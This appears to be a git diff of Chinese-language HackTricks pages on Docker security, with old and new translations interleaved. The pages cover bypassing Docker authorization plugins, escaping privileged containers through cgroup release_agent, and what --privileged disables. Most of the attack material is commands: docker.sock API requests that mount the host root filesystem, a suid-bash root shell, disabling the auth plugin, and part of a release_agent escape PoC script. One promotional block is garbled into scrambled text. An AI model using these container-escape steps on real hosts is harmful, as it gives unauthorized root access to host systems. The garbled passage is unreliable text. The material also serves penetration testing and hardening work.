在页面 [route\_parser.go](https://github.com/twistlock/authz/blob/master/core/route\_parser.go) 中,您可以找到请求的 URL 与操作之间的关系。在页面 [types.go](https://github.com/twistlock/authz/blob/master/core/types.go) 中,您可以找到操作名称与操作之间的关系。
|
||||
|
||||
## 简单插件教程
|
||||
|
||||
您可以在这里找到一个**易于理解的插件**,其中包含有关安装和调试的详细信息:[**https://github.com/carlospolop-forks/authobot**](https://github.com/carlospolop-forks/authobot)
|
||||
您可以在这里找到一个 **易于理解的插件**,其中包含有关安装和调试的详细信息:[**https://github.com/carlospolop-forks/authobot**](https://github.com/carlospolop-forks/authobot)
|
||||
|
||||
阅读`README`和`plugin.go`代码以了解其工作原理。
|
||||
阅读 `README` 和 `plugin.go` 代码以了解其工作原理。
|
||||
|
||||
# Docker授权插件绕过
|
||||
# Docker Auth 插件绕过
|
||||
|
||||
## 枚举访问
|
||||
|
||||
要检查的主要内容是**允许的端点**和**允许的HostConfig值**。
|
||||
主要检查的内容是 **允许哪些端点** 和 **允许哪些 HostConfig 的值**。
|
||||
|
||||
要执行此枚举,您可以使用工具[**https://github.com/carlospolop/docker\_auth\_profiler**](https://github.com/carlospolop/docker\_auth\_profiler)**。**
|
||||
要执行此枚举,您可以 **使用工具** [**https://github.com/carlospolop/docker\_auth\_profiler**](https://github.com/carlospolop/docker\_auth\_profiler)**.**
|
||||
|
||||
## 禁止`run --privileged`
|
||||
## 不允许的 `run --privileged`
|
||||
|
||||
### 最低权限
|
||||
### 最小权限
|
||||
```bash
|
||||
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
|
||||
```
|
||||
### 运行容器然后获取特权会话
|
||||
### 运行容器并获得特权会话
|
||||
|
||||
在这种情况下,系统管理员**禁止用户挂载卷并使用`--privileged`标志运行容器**或为容器提供任何额外的功能:
|
||||
在这种情况下,系统管理员**不允许用户挂载卷并使用 `--privileged` 标志运行容器**或给容器提供任何额外的能力:
|
||||
```bash
|
||||
docker run -d --privileged modified-ubuntu
|
||||
docker: Error response from daemon: authorization denied by plugin customauth: [DOCKER FIREWALL] Specified Privileged option value is Disallowed.
|
||||
See 'docker run --help'.
|
||||
```
|
||||
然而,用户可以**在运行的容器内创建一个 shell 并赋予它额外的权限**:
|
||||
然而,用户可以**在运行中的容器内创建一个 shell 并赋予其额外的权限**:
|
||||
```bash
|
||||
docker run -d --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu
|
||||
#bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de
|
||||
|
@ -89,11 +94,11 @@ docker exec -it ---cap-add=ALL bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be
|
|||
# With --cap-add=SYS_ADMIN
|
||||
docker exec -it ---cap-add=SYS_ADMIN bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash
|
||||
```
|
||||
现在,用户可以使用任何[**先前讨论过的技术**](./#privileged-flag)来逃离容器,并在主机内**提升权限**。
|
||||
现在,用户可以使用任何[**之前讨论过的技术**](./#privileged-flag)从容器中逃逸,并在主机内部**提升权限**。
|
||||
|
||||
## 挂载可写文件夹
|
||||
|
||||
在这种情况下,系统管理员**禁止用户使用`--privileged`标志运行容器**或为容器提供任何额外的功能,只允许挂载`/tmp`文件夹:
|
||||
在这种情况下,系统管理员**不允许用户使用 `--privileged` 标志运行容器**或给予容器任何额外的能力,他只允许挂载 `/tmp` 文件夹:
|
||||
```bash
|
||||
host> cp /bin/bash /tmp #Cerate a copy of bash
|
||||
host> docker run -it -v /tmp:/host ubuntu:18.04 bash #Mount the /tmp folder of the host and get a shell
|
||||
|
@ -103,25 +108,25 @@ host> /tmp/bash
|
|||
-p #This will give you a shell as root
|
||||
```
|
||||
{% hint style="info" %}
|
||||
请注意,您可能无法挂载文件夹 `/tmp`,但可以挂载**其他可写文件夹**。您可以使用以下命令查找可写目录:`find / -writable -type d 2>/dev/null`
|
||||
注意,您可能无法挂载文件夹 `/tmp`,但您可以挂载一个 **不同的可写文件夹**。您可以使用以下命令查找可写目录:`find / -writable -type d 2>/dev/null`
|
||||
|
||||
**请注意,并非 Linux 机器上的所有目录都支持 suid 位!** 为了检查哪些目录支持 suid 位,请运行 `mount | grep -v "nosuid"`。例如,通常 `/dev/shm`、`/run`、`/proc`、`/sys/fs/cgroup` 和 `/var/lib/lxcfs` 不支持 suid 位。
|
||||
**注意,并非所有 Linux 机器中的目录都支持 suid 位!** 要检查哪些目录支持 suid 位,请运行 `mount | grep -v "nosuid"`。例如,通常 `/dev/shm`、`/run`、`/proc`、`/sys/fs/cgroup` 和 `/var/lib/lxcfs` 不支持 suid 位。
|
||||
|
||||
还要注意,如果您可以**挂载 `/etc`** 或包含配置文件的任何其他文件夹,您可以在 docker 容器中以 root 身份更改它们,以便**在主机中滥用它们**并提升权限(也许修改 `/etc/shadow`)
|
||||
还要注意,如果您可以 **挂载 `/etc`** 或任何其他 **包含配置文件** 的文件夹,您可以在 docker 容器中以 root 身份更改它们,以便 **在主机中滥用它们** 并提升权限(可能修改 `/etc/shadow`)。
|
||||
{% endhint %}
|
||||
|
||||
## 未经检查的 API 端点
|
||||
## 未检查的 API 端点
|
||||
|
||||
配置此插件的系统管理员的责任是控制每个用户可以执行哪些操作以及具有哪些特权。因此,如果管理员采用**黑名单**方法处理端点和属性,可能会**忘记一些**可能允许攻击者**提升权限**的端点。
|
||||
配置此插件的系统管理员的责任是控制每个用户可以执行的操作及其权限。因此,如果管理员对端点和属性采取 **黑名单** 方法,他可能会 **忘记其中一些**,这可能允许攻击者 **提升权限**。
|
||||
|
||||
您可以在 [https://docs.docker.com/engine/api/v1.40/#](https://docs.docker.com/engine/api/v1.40/#) 中查看 docker API。
|
||||
您可以在 [https://docs.docker.com/engine/api/v1.40/#](https://docs.docker.com/engine/api/v1.40/#) 检查 docker API。
|
||||
|
||||
## 未经检查的 JSON 结构
|
||||
## 未检查的 JSON 结构
|
||||
|
||||
### 在根目录中绑定
|
||||
### 在根目录中的绑定
|
||||
|
||||
当系统管理员配置 docker 防火墙时,可能**忘记了**[**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList)的一些重要参数,比如 "**Binds**"。\
|
||||
在以下示例中,可以利用此配置错误创建和运行一个容器,该容器挂载主机的根目录 (/):
|
||||
当系统管理员配置 docker 防火墙时,他可能 **忘记了一些重要参数**,例如 [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) 中的 "**Binds**"。\
|
||||
在以下示例中,可以利用此错误配置创建并运行一个挂载主机根目录(/)的容器:
|
||||
```bash
|
||||
docker version #First, find the API version of docker, 1.40 in this example
|
||||
docker images #List the images available
|
||||
|
@ -132,30 +137,30 @@ docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it
|
|||
#You can access the host filesystem
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
请注意,在此示例中,我们将**`Binds`**参数作为JSON中的根级键使用,但在API中,它出现在**`HostConfig`**键下面。
|
||||
注意在这个例子中,我们将 **`Binds`** 参数作为 JSON 的根级键使用,但在 API 中它出现在 **`HostConfig`** 键下。
|
||||
{% endhint %}
|
||||
|
||||
### HostConfig中的Binds
|
||||
### HostConfig 中的 Binds
|
||||
|
||||
按照**根目录中的Binds**的相同指示,执行以下**请求**到Docker API:
|
||||
按照与 **根中的 Binds** 相同的指示,向 Docker API 执行此 **请求**:
|
||||
```bash
|
||||
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Binds":["/:/host"]}}' http:/v1.40/containers/create
|
||||
```
|
||||
### 在根目录中挂载
|
||||
### Mounts in root
|
||||
|
||||
按照与**在根目录中绑定**相同的说明,执行以下**请求**到Docker API:
|
||||
按照与 **Binds in root** 相同的指示,向 Docker API 执行此 **request**:
|
||||
```bash
|
||||
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}' http:/v1.40/containers/create
|
||||
```
|
||||
### HostConfig中的挂载
|
||||
### Mounts in HostConfig
|
||||
|
||||
按照与**根目录中的绑定**相同的说明,执行以下对Docker API的**请求**:
|
||||
按照与 **Binds in root** 相同的指示,向 Docker API 执行此 **请求**:
|
||||
```bash
|
||||
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "HostConfig":{"Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}}' http:/v1.40/containers/cre
|
||||
```
|
||||
## 未经检查的 JSON 属性
|
||||
## 未检查的 JSON 属性
|
||||
|
||||
当系统管理员配置 Docker 防火墙时,有可能**忘记了某些参数的重要属性**,比如[**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList)中的 "**Capabilities**" 在 "**HostConfig**" 内部。在下面的示例中,可以利用这个配置错误来创建并运行一个具有 **SYS\_MODULE** 能力的容器:
|
||||
可能在系统管理员配置 docker 防火墙时,他 **忘记了一些参数的重要属性**,例如 [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) 中的 "**Capabilities**" 在 "**HostConfig**" 内。以下示例中,可以利用此错误配置创建并运行具有 **SYS\_MODULE** 能力的容器:
|
||||
```bash
|
||||
docker version
|
||||
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Capabilities":["CAP_SYS_MODULE"]}}' http:/v1.40/containers/create
|
||||
|
@ -166,12 +171,12 @@ capsh --print
|
|||
#You can abuse the SYS_MODULE capability
|
||||
```
|
||||
{% hint style="info" %}
|
||||
**`HostConfig`**通常包含从容器中逃脱的**有趣** **特权**的关键。然而,正如我们之前讨论过的,注意如何在其外部使用Binds也可以起作用,并且可能允许您绕过限制。
|
||||
**`HostConfig`** 通常是包含 **有趣** **权限** 的关键,可以用来逃离容器。然而,正如我们之前讨论的,注意在外部使用 Binds 也有效,并可能允许你绕过限制。
|
||||
{% endhint %}
|
||||
|
||||
## 禁用插件
|
||||
|
||||
如果**系统管理员**忘记**禁止**禁用**插件**的能力,您可以利用这一点完全禁用它!
|
||||
如果 **系统管理员** **忘记** **禁止** 禁用 **插件** 的能力,你可以利用这一点来完全禁用它!
|
||||
```bash
|
||||
docker plugin list #Enumerate plugins
|
||||
|
||||
|
@ -183,14 +188,32 @@ docker plugin disable authobot
|
|||
docker run --rm -it --privileged -v /:/host ubuntu bash
|
||||
docker plugin enable authobot
|
||||
```
|
||||
## Docker访问授权插件认证和授权
|
||||
记得在提升权限后**重新启用插件**,否则**docker服务的重启将无效**!
|
||||
|
||||
记得在提升权限后**重新启用插件**,否则**重启docker服务不会生效**!
|
||||
|
||||
## Auth插件绕过攻略
|
||||
## Auth Plugin Bypass 文章
|
||||
|
||||
* [https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/](https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/)
|
||||
|
||||
## 参考资料
|
||||
{% hnt stye="acceas" %}
|
||||
AWS Ha& practice ckinH:<img :<imgsscc="/.gitb=ok/assgts/aite.png"balo=""kdata-siza="line">[**HackTsscke Tpaigin"aAWS Red Tetm=Exp rt (ARTE)**](a-size="line">[**HackTricks Training AWS Red)ethgasic="..giyb/okseasert/k/.png"l=""data-ize="line">\
|
||||
Learn & aciceGCP ng<imgsrc="/.gibok/asts/gte.g"lt="" aa-iz="le">[**angGC RedTamExper(GE)<img rc=".okaetgte.ng"salm=""adara-siz>="k>ne">tinhaktckxyzurssgr)
|
||||
|
||||
* [https://docs.docker.com/engine/extend/plugins\_authorization/](https://docs.docker.com/engine/extend/plugins\_authorization/)
|
||||
<dtil>
|
||||
|
||||
<ummr>SupportHackTricks</smmay>
|
||||
|
||||
*Chek th [**subsrippangithub.cm/sorsarlosp!
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!haktick\_ive\
|
||||
* **Join 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,38 +1,40 @@
|
|||
{% hint style="success" %}
|
||||
学习与实践 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
要了解更多详细信息,请查看来自[https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)的博客文章。这只是一个摘要:
|
||||
有关更多详细信息,请**查看来自 [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)** 的博客文章。这只是一个摘要:
|
||||
|
||||
该技术概述了一种**从容器内部执行主机代码**的方法,克服了存储驱动程序配置带来的挑战,这些配置会隐藏容器在主机上的文件系统路径,例如Kata Containers或特定的`devicemapper`设置。
|
||||
该技术概述了一种**从容器内执行主机代码**的方法,克服了存储驱动程序配置带来的挑战,这些配置会模糊主机上的容器文件系统路径,例如 Kata Containers 或特定的 `devicemapper` 设置。
|
||||
|
||||
关键步骤:
|
||||
|
||||
1. **定位进程ID(PIDs):** 使用Linux伪文件系统中的`/proc/<pid>/root`符号链接,可以相对于主机的文件系统访问容器中的任何文件。这样可以绕过在主机上了解容器文件系统路径的需求。
|
||||
2. **PID猜测:** 采用暴力搜索方法在主机上搜索PID。这是通过顺序检查`/proc/<pid>/root/<file>`中特定文件的存在来完成的。当找到文件时,表示相应的PID属于运行在目标容器内部的进程。
|
||||
3. **触发执行:** 猜测的PID路径被写入`cgroups release_agent`文件。此操作触发`release_agent`的执行。通过检查是否创建了输出文件来确认此步骤的成功。
|
||||
1. **定位进程 ID (PIDs):** 使用 Linux 伪文件系统中的 `/proc/<pid>/root` 符号链接,可以相对于主机的文件系统访问容器内的任何文件。这绕过了需要知道主机上容器文件系统路径的要求。
|
||||
2. **PID 碰撞:** 采用暴力破解的方法搜索主机上的 PIDs。通过依次检查 `/proc/<pid>/root/<file>` 中特定文件的存在来完成。当找到该文件时,表明相应的 PID 属于在目标容器内运行的进程。
|
||||
3. **触发执行:** 猜测的 PID 路径被写入 `cgroups release_agent` 文件。此操作触发 `release_agent` 的执行。通过检查输出文件的创建来确认此步骤的成功。
|
||||
|
||||
### 利用过程
|
||||
|
||||
利用过程涉及一系列更详细的操作,旨在通过猜测运行在容器内部的进程的正确PID,在主机上执行有效载荷。以下是操作步骤:
|
||||
利用过程涉及一系列更详细的操作,旨在通过猜测在容器内运行的进程的正确 PID 来在主机上执行有效载荷。以下是其展开方式:
|
||||
|
||||
1. **初始化环境:** 在主机上准备一个有效载荷脚本(`payload.sh`),并为cgroup操作创建一个唯一目录。
|
||||
2. **准备有效载荷:** 编写包含要在主机上执行的命令的有效载荷脚本,并使其可执行。
|
||||
3. **设置Cgroup:** 挂载和配置cgroup。设置`notify_on_release`标志以确保在释放cgroup时执行有效载荷。
|
||||
4. **暴力破解PID:** 循环遍历潜在的PID,将每个猜测的PID写入`release_agent`文件。这实际上将有效载荷脚本设置为`release_agent`。
|
||||
5. **触发和检查执行:** 对于每个PID,将cgroup的`cgroup.procs`写入,如果PID正确,则触发`release_agent`的执行。循环将继续,直到找到有效载荷脚本的输出,表示成功执行。
|
||||
1. **初始化环境:** 在主机上准备一个有效载荷脚本 (`payload.sh`),并为 cgroup 操作创建一个唯一目录。
|
||||
2. **准备有效载荷:** 编写并使有效载荷脚本可执行,该脚本包含要在主机上执行的命令。
|
||||
3. **设置 Cgroup:** 挂载并配置 cgroup。设置 `notify_on_release` 标志,以确保在释放 cgroup 时执行有效载荷。
|
||||
4. **暴力破解 PID:** 循环遍历潜在的 PIDs,将每个猜测的 PID 写入 `release_agent` 文件。这有效地将有效载荷脚本设置为 `release_agent`。
|
||||
5. **触发并检查执行:** 对于每个 PID,写入 cgroup 的 `cgroup.procs`,如果 PID 正确,则触发 `release_agent` 的执行。循环继续,直到找到有效载荷脚本的输出,表明执行成功。
|
||||
|
||||
博客文章中的PoC:
|
||||
来自博客文章的 PoC:
|
||||
```bash
|
||||
#!/bin/sh
|
||||
|
||||
|
@ -92,16 +94,19 @@ sleep 1
|
|||
echo "Done! Output:"
|
||||
cat ${OUTPUT_PATH}
|
||||
```
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,32 +1,39 @@
|
|||
# Docker --privileged
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中做广告**吗? 或者您想要访问**PEASS的最新版本或下载HackTricks的PDF**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks)**和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)**提交PR来分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 影响
|
||||
## 影响因素
|
||||
|
||||
当您将容器以特权模式运行时,您将禁用以下保护措施:
|
||||
当你以特权模式运行容器时,以下是你禁用的保护措施:
|
||||
|
||||
### 挂载/dev
|
||||
### 挂载 /dev
|
||||
|
||||
在特权容器中,所有**设备都可以在`/dev/`中访问**。 因此,您可以通过**挂载**主机的磁盘来**逃逸**。
|
||||
在特权容器中,所有的 **设备可以在 `/dev/` 中访问**。因此,你可以通过 **挂载** 主机的磁盘来 **逃逸**。
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="默认容器内部" %}
|
||||
```bash
|
||||
# docker run --rm -it alpine sh
|
||||
ls /dev
|
||||
console fd mqueue ptmx random stderr stdout urandom
|
||||
core full null pts shm stdin tty zero
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="内部特权容器" %}
|
||||
```bash
|
||||
# docker run --rm --privileged -it alpine sh
|
||||
ls /dev
|
||||
|
@ -36,11 +43,15 @@ core mqueue ptmx stdin tty26
|
|||
cpu nbd0 pts stdout tty27 tty47 ttyS0
|
||||
[...]
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
#### 只读内核文件系统
|
||||
### 只读内核文件系统
|
||||
|
||||
内核文件系统提供了一个机制,允许进程修改内核的行为。然而,对于容器进程,我们希望阻止它们对内核进行任何更改。因此,我们在容器内将内核文件系统挂载为**只读**,确保容器进程无法修改内核。
|
||||
内核文件系统为进程提供了一种修改内核行为的机制。然而,对于容器进程,我们希望防止它们对内核进行任何更改。因此,我们在容器内将内核文件系统挂载为**只读**,确保容器进程无法修改内核。
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="默认容器内部" %}
|
||||
```bash
|
||||
# docker run --rm -it alpine sh
|
||||
mount | grep '(ro'
|
||||
|
@ -49,20 +60,26 @@ cpuset on /sys/fs/cgroup/cpuset type cgroup (ro,nosuid,nodev,noexec,relatime,cpu
|
|||
cpu on /sys/fs/cgroup/cpu type cgroup (ro,nosuid,nodev,noexec,relatime,cpu)
|
||||
cpuacct on /sys/fs/cgroup/cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,cpuacct)
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="特权容器内部" %}
|
||||
```bash
|
||||
# docker run --rm --privileged -it alpine sh
|
||||
mount | grep '(ro'
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
### 遮蔽内核文件系统
|
||||
|
||||
**/proc** 文件系统是可选择性可写的,但为了安全起见,某些部分被用 **tmpfs** 遮蔽,确保容器进程无法访问敏感区域。
|
||||
**/proc** 文件系统是选择性可写的,但出于安全考虑,某些部分通过用 **tmpfs** 进行覆盖而屏蔽了写入和读取访问,确保容器进程无法访问敏感区域。
|
||||
|
||||
{% hint style="info" %}
|
||||
**tmpfs** 是一个将所有文件存储在虚拟内存中的文件系统。tmpfs 不会在硬盘上创建任何文件。因此,如果卸载 tmpfs 文件系统,其中存储的所有文件将永远丢失。
|
||||
**tmpfs** 是一个将所有文件存储在虚拟内存中的文件系统。tmpfs 不会在你的硬盘上创建任何文件。因此,如果你卸载一个 tmpfs 文件系统,所有驻留在其中的文件将永远丢失。
|
||||
{% endhint %}
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="默认容器内部" %}
|
||||
```bash
|
||||
# docker run --rm -it alpine sh
|
||||
mount | grep /proc.*tmpfs
|
||||
|
@ -70,15 +87,19 @@ tmpfs on /proc/acpi type tmpfs (ro,relatime)
|
|||
tmpfs on /proc/kcore type tmpfs (rw,nosuid,size=65536k,mode=755)
|
||||
tmpfs on /proc/keys type tmpfs (rw,nosuid,size=65536k,mode=755)
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="内部特权容器" %}
|
||||
```bash
|
||||
# docker run --rm --privileged -it alpine sh
|
||||
mount | grep /proc.*tmpfs
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
### Linux capabilities
|
||||
### Linux 能力
|
||||
|
||||
容器引擎默认以**有限数量的功能**启动容器,以控制容器内部的操作。**特权容器**具有**所有**可访问的**功能**。要了解有关功能的信息,请阅读:
|
||||
容器引擎以 **有限数量的能力** 启动容器,以控制容器内部的操作。**特权** 容器具有 **所有** 可访问的 **能力**。要了解能力,请阅读:
|
||||
|
||||
{% content-ref url="../linux-capabilities.md" %}
|
||||
[linux-capabilities.md](../linux-capabilities.md)
|
||||
|
@ -96,7 +117,7 @@ Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setg
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="特权容器内部" %}
|
||||
{% tab title="内部特权容器" %}
|
||||
```bash
|
||||
# docker run --rm --privileged -it alpine sh
|
||||
apk add -U libcap; capsh --print
|
||||
|
@ -105,19 +126,21 @@ Current: =eip cap_perfmon,cap_bpf,cap_checkpoint_restore-eip
|
|||
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
|
||||
[...]
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
#### 特权提升
|
||||
您可以通过使用 `--cap-add` 和 `--cap-drop` 标志来操纵容器可用的能力,而无需以 `--privileged` 模式运行。
|
||||
|
||||
您可以通过使用`--cap-add`和`--cap-drop`标志来操纵容器中可用的功能,而无需在`--privileged`模式下运行。
|
||||
